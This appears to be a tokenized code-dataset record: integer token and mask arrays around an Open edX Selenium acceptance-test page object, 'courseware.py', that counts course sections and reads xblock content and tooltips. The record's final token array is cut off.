[ 3, 1898, 334, 35, 9, 7760, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 646, 4011, 18, 199, 199, 504, 18007, 14, 2330, 14, 846, 14, 1200, 5945, 492, 7220, 10161, 421, 199, 533, 6001, 8, 785, 304, 272, 347, 664, 63, 3008, 8, 277, 12, 1166, 12, 3957, 63, 5188, 63, 475, 63, 403, 29, 797, 304, 267, 372, 7220, 10161, 8, 3916, 63, 5188, 63, 475, 63, 403, 29, 3916, 63, 5188, 63, 475, 63, 403, 680, 1065, 8, 2734, 26, 4011, 18, 14, 10890, 8, 633, 680, 739, 1012, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 7760, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 646, 4011, 18, 199, 199, 504, 18007, 14, 2330, 14, 846, 14, 1200, 5945, 492, 7220, 10161, 421, 199, 533, 6001, 8, 785, 304, 272, 347, 664, 63, 3008, 8, 277, 12, 1166, 12, 3957, 63, 5188, 63, 475, 63, 403, 29, 797, 304, 267, 372, 7220, 10161, 8, 3916, 63, 5188, 63, 475, 63, 403, 29, 3916, 63, 5188, 63, 475, 63, 403, 680, 1065, 8, 2734, 26, 4011, 18, 14, 10890, 8, 633, 680, 739, 1012, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jswope00/griffinx
common/test/acceptance/pages/lms/courseware.py
17
2887
""" Courseware page. """ from .course_page import CoursePage from selenium.webdriver.common.action_chains import ActionChains class CoursewarePage(CoursePage): """ Course info. """ url_path = "courseware/" xblock_component_selector = '.vert .xblock' section_selector = '.chapter' subsection_selector = '.chapter ul li' def is_browser_on_page(self): return self.q(css='body.courseware').present @property def num_sections(self): """ Return the number of sections in the sidebar on the page """ return len(self.q(css=self.section_selector)) @property def num_subsections(self): """ Return the number of subsections in the sidebar on the page, including in collapsed sections """ return len(self.q(css=self.subsection_selector)) @property def xblock_components(self): """ Return the xblock components within the unit on the page. """ return self.q(css=self.xblock_component_selector) @property def num_xblock_components(self): """ Return the number of rendered xblocks within the unit on the page """ return len(self.xblock_components) def xblock_component_type(self, index=0): """ Extract rendered xblock component type. Returns: str: xblock module type index: which xblock to query, where the index is the vertical display within the page (default is 0) """ return self.q(css=self.xblock_component_selector).attrs('data-block-type')[index] def xblock_component_html_content(self, index=0): """ Extract rendered xblock component html content. Returns: str: xblock module html content index: which xblock to query, where the index is the vertical display within the page (default is 0) """ # When Student Notes feature is enabled, it looks for the content inside # `.edx-notes-wrapper-content` element (Otherwise, you will get an # additional html related to Student Notes). element = self.q(css='{} .edx-notes-wrapper-content'.format(self.xblock_component_selector)) if element.first: return element.attrs('innerHTML')[index].strip() else: return self.q(css=self.xblock_component_selector).attrs('innerHTML')[index].strip() def tooltips_displayed(self): """ Verify if sequence navigation bar tooltips are being displayed upon mouse hover. """ for index, tab in enumerate(self.q(css='#sequence-list > li')): ActionChains(self.browser).move_to_element(tab).perform() if not self.q(css='#tab_{index} > p'.format(index=index)).visible: return False return True
agpl-3.0
[ 624, 199, 6979, 1068, 2034, 14, 199, 624, 199, 199, 504, 1275, 1972, 63, 1606, 492, 5531, 3276, 199, 504, 19481, 14, 17946, 14, 2330, 14, 1287, 63, 17419, 492, 10033, 10720, 83, 421, 199, 533, 5531, 1068, 3276, 8, 6979, 3276, 304, 272, 408, 272, 5531, 2256, 14, 272, 408, 339, 1166, 63, 515, 275, 298, 17744, 6687, 272, 12971, 63, 3173, 63, 6662, 275, 1987, 1884, 1275, 11283, 7, 272, 3420, 63, 6662, 275, 1987, 11316, 7, 272, 19876, 63, 6662, 275, 1987, 11316, 12581, 1212, 7, 339, 347, 365, 63, 5750, 63, 265, 63, 1606, 8, 277, 304, 267, 372, 291, 14, 81, 8, 3919, 534, 2030, 14, 17744, 1959, 1881, 339, 768, 1829, 272, 347, 1967, 63, 7786, 8, 277, 304, 267, 408, 267, 1432, 314, 1329, 402, 10189, 315, 314, 18437, 641, 314, 2034, 267, 408, 267, 372, 822, 8, 277, 14, 81, 8, 3919, 29, 277, 14, 2792, 63, 6662, 430, 339, 768, 1829, 272, 347, 1967, 63, 954, 7786, 8, 277, 304, 267, 408, 267, 1432, 314, 1329, 402, 1007, 7786, 315, 314, 18437, 641, 314, 2034, 12, 5893, 315, 31219, 10189, 267, 408, 267, 372, 822, 8, 277, 14, 81, 8, 3919, 29, 277, 14, 18920, 63, 6662, 430, 339, 768, 1829, 272, 347, 12971, 63, 4608, 8, 277, 304, 267, 408, 267, 1432, 314, 12971, 7323, 4453, 314, 4137, 641, 314, 2034, 14, 267, 408, 267, 372, 291, 14, 81, 8, 3919, 29, 277, 14, 11283, 63, 3173, 63, 6662, 9, 339, 768, 1829, 272, 347, 1967, 63, 11283, 63, 4608, 8, 277, 304, 267, 408, 267, 1432, 314, 1329, 402, 8018, 671, 4166, 4453, 314, 4137, 641, 314, 2034, 267, 408, 267, 372, 822, 8, 277, 14, 11283, 63, 4608, 9, 339, 347, 12971, 63, 3173, 63, 466, 8, 277, 12, 1478, 29, 16, 304, 267, 408, 267, 12892, 8018, 12971, 3931, 730, 14, 398, 1803, 26, 288, 620, 26, 12971, 859, 730, 288, 1478, 26, 1314, 12971, 370, 1827, 12, 2382, 314, 1478, 365, 314, 13763, 2929, 4453, 314, 2034, 355, 334, 885, 365, 378, 9, 267, 408, 267, 372, 291, 14, 81, 8, 3919, 29, 277, 14, 11283, 63, 3173, 63, 6662, 680, 3288, 360, 576, 13, 1457, 13, 466, 5832, 1080, 61, 339, 347, 12971, 63, 3173, 63, 1360, 63, 1317, 8, 277, 12, 1478, 29, 16, 304, 267, 408, 267, 12892, 8018, 12971, 3931, 3517, 1564, 14, 398, 1803, 26, 288, 620, 26, 12971, 859, 3517, 1564, 288, 1478, 26, 1314, 12971, 370, 1827, 12, 2382, 314, 1478, 365, 314, 13763, 2929, 4453, 314, 2034, 355, 334, 885, 365, 378, 9, 398, 408, 267, 327, 3979, 17246, 8144, 3878, 365, 5223, 12, 652, 10734, 367, 314, 1564, 6272, 267, 327, 19853, 8268, 13, 5983, 13, 5029, 13, 1317, 64, 1819, 334, 8632, 2605, 12, 1265, 911, 664, 376, 267, 327, 4722, 3517, 4048, 370, 17246, 8144, 680, 267, 1819, 275, 291, 14, 81, 8, 3919, 534, 2440, 1275, 8268, 13, 5983, 13, 5029, 13, 1317, 1370, 908, 8, 277, 14, 11283, 63, 3173, 63, 6662, 430, 267, 340, 1819, 14, 2246, 26, 288, 372, 1819, 14, 3288, 360, 26502, 5832, 1080, 1055, 1913, 342, 267, 587, 26, 288, 372, 291, 14, 81, 8, 3919, 29, 277, 14, 11283, 63, 3173, 63, 6662, 680, 3288, 360, 26502, 5832, 1080, 1055, 1913, 342, 339, 347, 4744, 25842, 63, 22283, 8, 277, 304, 267, 408, 267, 7635, 340, 3414, 19191, 4681, 4744, 25842, 787, 3769, 9080, 12188, 12817, 394, 1883, 14, 267, 408, 267, 367, 1478, 12, 5174, 315, 3874, 8, 277, 14, 81, 8, 3919, 26431, 4041, 13, 513, 690, 1212, 8109, 288, 10033, 10720, 83, 8, 277, 14, 5750, 680, 1185, 63, 475, 63, 2108, 8, 2902, 680, 15795, 342, 288, 340, 440, 291, 14, 81, 8, 3919, 26431, 2902, 7348, 1080, 93, 690, 299, 1370, 908, 8, 1080, 29, 1080, 4992, 6604, 26, 355, 372, 756, 398, 372, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 6979, 1068, 2034, 14, 199, 624, 199, 199, 504, 1275, 1972, 63, 1606, 492, 5531, 3276, 199, 504, 19481, 14, 17946, 14, 2330, 14, 1287, 63, 17419, 492, 10033, 10720, 83, 421, 199, 533, 5531, 1068, 3276, 8, 6979, 3276, 304, 272, 408, 272, 5531, 2256, 14, 272, 408, 339, 1166, 63, 515, 275, 298, 17744, 6687, 272, 12971, 63, 3173, 63, 6662, 275, 1987, 1884, 1275, 11283, 7, 272, 3420, 63, 6662, 275, 1987, 11316, 7, 272, 19876, 63, 6662, 275, 1987, 11316, 12581, 1212, 7, 339, 347, 365, 63, 5750, 63, 265, 63, 1606, 8, 277, 304, 267, 372, 291, 14, 81, 8, 3919, 534, 2030, 14, 17744, 1959, 1881, 339, 768, 1829, 272, 347, 1967, 63, 7786, 8, 277, 304, 267, 408, 267, 1432, 314, 1329, 402, 10189, 315, 314, 18437, 641, 314, 2034, 267, 408, 267, 372, 822, 8, 277, 14, 81, 8, 3919, 29, 277, 14, 2792, 63, 6662, 430, 339, 768, 1829, 272, 347, 1967, 63, 954, 7786, 8, 277, 304, 267, 408, 267, 1432, 314, 1329, 402, 1007, 7786, 315, 314, 18437, 641, 314, 2034, 12, 5893, 315, 31219, 10189, 267, 408, 267, 372, 822, 8, 277, 14, 81, 8, 3919, 29, 277, 14, 18920, 63, 6662, 430, 339, 768, 1829, 272, 347, 12971, 63, 4608, 8, 277, 304, 267, 408, 267, 1432, 314, 12971, 7323, 4453, 314, 4137, 641, 314, 2034, 14, 267, 408, 267, 372, 291, 14, 81, 8, 3919, 29, 277, 14, 11283, 63, 3173, 63, 6662, 9, 339, 768, 1829, 272, 347, 1967, 63, 11283, 63, 4608, 8, 277, 304, 267, 408, 267, 1432, 314, 1329, 402, 8018, 671, 4166, 4453, 314, 4137, 641, 314, 2034, 267, 408, 267, 372, 822, 8, 277, 14, 11283, 63, 4608, 9, 339, 347, 12971, 63, 3173, 63, 466, 8, 277, 12, 1478, 29, 16, 304, 267, 408, 267, 12892, 8018, 12971, 3931, 730, 14, 398, 1803, 26, 288, 620, 26, 12971, 859, 730, 288, 1478, 26, 1314, 12971, 370, 1827, 12, 2382, 314, 1478, 365, 314, 13763, 2929, 4453, 314, 2034, 355, 334, 885, 365, 378, 9, 267, 408, 267, 372, 291, 14, 81, 8, 3919, 29, 277, 14, 11283, 63, 3173, 63, 6662, 680, 3288, 360, 576, 13, 1457, 13, 466, 5832, 1080, 61, 339, 347, 12971, 63, 3173, 63, 1360, 63, 1317, 8, 277, 12, 1478, 29, 16, 304, 267, 408, 267, 12892, 8018, 12971, 3931, 3517, 1564, 14, 398, 1803, 26, 288, 620, 26, 12971, 859, 3517, 1564, 288, 1478, 26, 1314, 12971, 370, 1827, 12, 2382, 314, 1478, 365, 314, 13763, 2929, 4453, 314, 2034, 355, 334, 885, 365, 378, 9, 398, 408, 267, 327, 3979, 17246, 8144, 3878, 365, 5223, 12, 652, 10734, 367, 314, 1564, 6272, 267, 327, 19853, 8268, 13, 5983, 13, 5029, 13, 1317, 64, 1819, 334, 8632, 2605, 12, 1265, 911, 664, 376, 267, 327, 4722, 3517, 4048, 370, 17246, 8144, 680, 